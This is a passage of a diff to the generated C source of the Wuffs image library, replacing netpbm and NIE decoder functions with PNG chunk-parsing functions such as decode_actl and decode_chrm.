++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ self->private_impl.f_seen_trns = true; + } +- } else if (self->private_impl.f_call_sequence == 64u) { +- self->private_impl.f_call_sequence = 96u; +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; + } +- if (a_dst != NULL) { +- wuffs_base__frame_config__set( +- a_dst, +- wuffs_base__utility__make_rect_ie_u32( +- 0u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height), +- ((wuffs_base__flicks)(0u)), +- 0u, +- self->private_impl.f_frame_config_io_position, +- 0u, +- false, +- false, +- 0u); ++ if (self->private_impl.f_metadata_fourcc == 0u) { ++ self->private_data.s_decode_other_chunk.scratch = self->private_impl.f_chunk_length; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ if (self->private_data.s_decode_other_chunk.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_decode_other_chunk.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_decode_other_chunk.scratch; + } +- self->private_impl.f_call_sequence = 64u; + ++ goto ok; + ok: +- self->private_impl.p_do_decode_frame_config[0] = 0; ++ self->private_impl.p_decode_other_chunk = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_decode_other_chunk = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +@@ -50339,181 +63633,130 @@ wuffs_netpbm__decoder__do_decode_frame_config( + return status; + } + +-// -------- func netpbm.decoder.decode_frame +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__decode_frame( +- wuffs_netpbm__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 3)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_netpbm__decoder__do_decode_frame(self, +- a_dst, +- a_src, +- a_blend, +- a_workbuf, +- a_opts); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_netpbm__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } +- +- ok: +- self->private_impl.p_decode_frame[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; +- +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; +-} +- +-// -------- func netpbm.decoder.do_decode_frame ++// -------- func png.decoder.decode_actl + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_netpbm__decoder__do_decode_frame( +- wuffs_netpbm__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { ++wuffs_png__decoder__decode_actl( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_actl; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_call_sequence == 64u) { +- } else if (self->private_impl.f_call_sequence < 64u) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_netpbm__decoder__do_decode_frame_config(self, NULL, a_src); +- if (status.repr) { +- goto suspend; +- } +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; ++ if (self->private_impl.f_chunk_length != 8u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } else if (self->private_impl.f_interlace_pass > 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); ++ goto exit; + } +- self->private_impl.f_dst_x = 0u; +- self->private_impl.f_dst_y = 0u; +- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, +- wuffs_base__pixel_buffer__pixel_format(a_dst), +- wuffs_base__pixel_buffer__palette(a_dst), +- wuffs_base__utility__make_pixel_format(self->private_impl.f_pixfmt), +- wuffs_base__utility__empty_slice_u8(), +- a_blend); +- if ( ! wuffs_base__status__is_ok(&v_status)) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; ++ self->private_impl.f_chunk_length = 0u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_actl.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_actl.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); ++ } + } +- goto ok; ++ self->private_impl.f_num_animation_frames_value = t_0; + } +- while (true) { +- v_status = wuffs_netpbm__decoder__swizzle(self, a_dst, a_src); +- if (wuffs_base__status__is_ok(&v_status)) { +- break; +- } else if (v_status.repr != wuffs_netpbm__note__internal_note_short_read) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; ++ if (self->private_impl.f_num_animation_frames_value == 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_actl.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_actl.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)); + } +- goto ok; + } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ self->private_impl.f_num_animation_loops_value = t_1; + } +- self->private_impl.f_call_sequence = 96u; + ++ goto ok; + ok: +- self->private_impl.p_do_decode_frame[0] = 0; ++ self->private_impl.p_decode_actl = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_decode_actl = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ + return status; + } + +-// -------- func netpbm.decoder.swizzle ++// -------- func png.decoder.decode_chrm + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_netpbm__decoder__swizzle( +- wuffs_netpbm__decoder* self, +- wuffs_base__pixel_buffer* a_dst, ++wuffs_png__decoder__decode_chrm( ++ wuffs_png__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__pixel_format v_dst_pixfmt = {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint32_t v_dst_bytes_per_pixel = 0; +- uint64_t v_dst_bytes_per_row = 0; +- uint32_t v_src_bytes_per_pixel = 0; +- wuffs_base__table_u8 v_tab = {0}; +- wuffs_base__slice_u8 v_dst = {0}; +- uint64_t v_i = 0; +- uint64_t v_j = 0; +- uint64_t v_n = 0; ++ uint64_t v_u = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -50526,543 +63769,337 @@ wuffs_netpbm__decoder__swizzle( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); +- goto exit; +- } +- v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); +- v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- while (true) { +- if (self->private_impl.f_dst_x == self->private_impl.f_width) { +- self->private_impl.f_dst_x = 0u; +- self->private_impl.f_dst_y += 1u; +- if (self->private_impl.f_dst_y >= self->private_impl.f_height) { +- break; +- } +- } +- v_dst = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); +- if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); ++ uint32_t coro_susp_point = self->private_impl.p_decode_chrm; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_chunk_length != 32u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; + } +- v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); +- if (v_i >= ((uint64_t)(v_dst.len))) { +- v_src_bytes_per_pixel = 1u; +- if (self->private_impl.f_pixfmt == 2684356744u) { +- v_src_bytes_per_pixel = 3u; +- } +- v_n = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(v_src_bytes_per_pixel))); +- v_n = wuffs_base__u64__min(v_n, ((uint64_t)(((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x))))); +- v_j = v_n; +- while (v_j >= 8u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 8u)))) { +- iop_a_src += (v_src_bytes_per_pixel * 8u); ++ self->private_impl.f_chunk_length = 0u; ++ self->private_impl.f_metadata_flavor = 5u; ++ self->private_impl.f_metadata_fourcc = 1128813133u; ++ self->private_impl.f_metadata_x = 0u; ++ self->private_impl.f_metadata_y = 0u; ++ self->private_impl.f_metadata_z = 0u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint64_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_chrm.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 24) { ++ t_0 = ((uint64_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); + } +- v_j -= 8u; + } +- while (v_j > 0u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 1u)))) { +- iop_a_src += (v_src_bytes_per_pixel * 1u); ++ v_u = t_0; ++ } ++ self->private_impl.f_metadata_x |= ((16777215u & v_u) << 0u); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint64_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_chrm.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); ++ if (num_bits_1 == 24) { ++ t_1 = ((uint64_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)); + } +- v_j -= 1u; + } +- } else { +- v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( +- &self->private_impl.f_swizzler, +- wuffs_base__slice_u8__subslice_i(v_dst, v_i), +- wuffs_base__pixel_buffer__palette(a_dst), +- &iop_a_src, +- io2_a_src); +- } +- if (v_n == 0u) { +- status = wuffs_base__make_status(wuffs_netpbm__note__internal_note_short_read); +- goto ok; ++ v_u = t_1; + } +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); +- } +- status = wuffs_base__make_status(NULL); +- goto ok; +- +- ok: +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func netpbm.decoder.frame_dirty_rect +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_netpbm__decoder__frame_dirty_rect( +- const wuffs_netpbm__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } +- +- return wuffs_base__utility__make_rect_ie_u32( +- 0u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height); +-} +- +-// -------- func netpbm.decoder.num_animation_loops +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_netpbm__decoder__num_animation_loops( +- const wuffs_netpbm__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return 0u; +-} +- +-// -------- func netpbm.decoder.num_decoded_frame_configs +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_netpbm__decoder__num_decoded_frame_configs( +- const wuffs_netpbm__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- if (self->private_impl.f_call_sequence > 32u) { +- return 1u; +- } +- return 0u; +-} +- +-// -------- func netpbm.decoder.num_decoded_frames +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_netpbm__decoder__num_decoded_frames( +- const wuffs_netpbm__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- if (self->private_impl.f_call_sequence > 64u) { +- return 1u; +- } +- return 0u; +-} +- +-// -------- func netpbm.decoder.restart_frame +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__restart_frame( +- wuffs_netpbm__decoder* self, +- uint64_t a_index, +- uint64_t a_io_position) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- +- if (self->private_impl.f_call_sequence < 32u) { +- return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- } +- if ((a_index != 0u) || (a_io_position != self->private_impl.f_frame_config_io_position)) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- self->private_impl.f_call_sequence = 40u; +- return wuffs_base__make_status(NULL); +-} +- +-// -------- func netpbm.decoder.set_report_metadata +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_netpbm__decoder__set_report_metadata( +- wuffs_netpbm__decoder* self, +- uint32_t a_fourcc, +- bool a_report) { +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func netpbm.decoder.tell_me_more +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__tell_me_more( +- wuffs_netpbm__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 4)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- status = wuffs_base__make_status(wuffs_base__error__no_more_information); +- goto exit; +- +- goto ok; +- ok: +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; +-} +- +-// -------- func netpbm.decoder.history_retain_length +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_netpbm__decoder__history_retain_length( +- const wuffs_netpbm__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return 0u; +-} +- +-// -------- func netpbm.decoder.workbuf_len +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_netpbm__decoder__workbuf_len( +- const wuffs_netpbm__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- +- return wuffs_base__utility__make_range_ii_u64(0u, 0u); +-} +- +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) +- +-// ---------------- Status Codes Implementations +- +-const char wuffs_nie__error__bad_header[] = "#nie: bad header"; +-const char wuffs_nie__error__truncated_input[] = "#nie: truncated input"; +-const char wuffs_nie__error__unsupported_nie_file[] = "#nie: unsupported NIE file"; +-const char wuffs_nie__note__internal_note_short_read[] = "@nie: internal note: short read"; +- +-// ---------------- Private Consts +- +-// ---------------- Private Initializer Prototypes +- +-// ---------------- Private Function Prototypes +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_nie__decoder__do_decode_image_config( +- wuffs_nie__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_nie__decoder__do_decode_frame_config( +- wuffs_nie__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_nie__decoder__do_decode_frame( +- wuffs_nie__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_nie__decoder__swizzle( +- wuffs_nie__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src); +- +-// ---------------- VTables +- +-const wuffs_base__image_decoder__func_ptrs +-wuffs_nie__decoder__func_ptrs_for__wuffs_base__image_decoder = { +- (wuffs_base__status(*)(void*, +- wuffs_base__pixel_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__pixel_blend, +- wuffs_base__slice_u8, +- wuffs_base__decode_frame_options*))(&wuffs_nie__decoder__decode_frame), +- (wuffs_base__status(*)(void*, +- wuffs_base__frame_config*, +- wuffs_base__io_buffer*))(&wuffs_nie__decoder__decode_frame_config), +- (wuffs_base__status(*)(void*, +- wuffs_base__image_config*, +- wuffs_base__io_buffer*))(&wuffs_nie__decoder__decode_image_config), +- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_nie__decoder__frame_dirty_rect), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_nie__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_nie__decoder__history_retain_length), +- (uint32_t(*)(const void*))(&wuffs_nie__decoder__num_animation_loops), +- (uint64_t(*)(const void*))(&wuffs_nie__decoder__num_decoded_frame_configs), +- (uint64_t(*)(const void*))(&wuffs_nie__decoder__num_decoded_frames), +- (wuffs_base__status(*)(void*, +- uint64_t, +- uint64_t))(&wuffs_nie__decoder__restart_frame), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_nie__decoder__set_quirk), +- (wuffs_base__empty_struct(*)(void*, +- uint32_t, +- bool))(&wuffs_nie__decoder__set_report_metadata), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__more_information*, +- wuffs_base__io_buffer*))(&wuffs_nie__decoder__tell_me_more), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_nie__decoder__workbuf_len), +-}; +- +-// ---------------- Initializer Implementations +- +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_nie__decoder__initialize( +- wuffs_nie__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); +- } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); +- } +- +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ self->private_impl.f_metadata_x |= ((16777215u & v_u) << 24u); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ uint64_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_2 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_chrm.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); ++ if (num_bits_2 == 24) { ++ t_2 = ((uint64_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)); ++ } ++ } ++ v_u = t_2; + } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ self->private_impl.f_metadata_x |= ((uint64_t)((16777215u & v_u) << 48u)); ++ self->private_impl.f_metadata_y |= ((16777215u & v_u) >> 16u); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ uint64_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_3 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_chrm.scratch = 0; ++ 